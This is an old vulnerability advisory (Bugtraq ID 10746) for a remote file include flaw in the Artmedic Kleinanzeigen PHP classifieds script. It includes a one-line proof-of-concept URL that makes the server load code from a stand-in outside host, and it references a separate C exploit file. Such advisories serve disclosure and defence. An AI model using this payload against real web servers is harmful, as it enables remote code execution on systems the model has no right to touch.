Artmedic Webdesign Kleinanzeigen Script File Include Vulnerability

Bugtraq ID:	10746
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 19 2004 12:00AM
Updated:	Jul 19 2004 12:00AM
Credit:	Discovery is credited to Dominus_Vis <[email protected]>.
Vulnerable:	artmedic webdesign kleinanzeigen
Not Vulnerable:

Artmedic Webdesign Kleinanzeigen Script File Include Vulnerability

Kleinanzeigen is prone to a file include vulnerability. This issue could allow a remote attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

If successful, the malicious script supplied by the attacker will be executed in the context of the web server hosting the vulnerable software.

Artmedic Webdesign Kleinanzeigen Script File Include Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/artmedic-kleinanzeigen-path/index.php?id=http://www.example.com

A further proof of concept exploit is provided by Adam Simuntis <[email protected]>:

• /data/vulnerabilities/exploits/artmedic_links5.c

Artmedic Webdesign Kleinanzeigen Script File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Artmedic Webdesign Kleinanzeigen Script File Include Vulnerability

References:

• kleinanzeigen (artmedic webdesign)
  
• Artmedic kleinanzeigen include vulnerability (Francisco Alisson )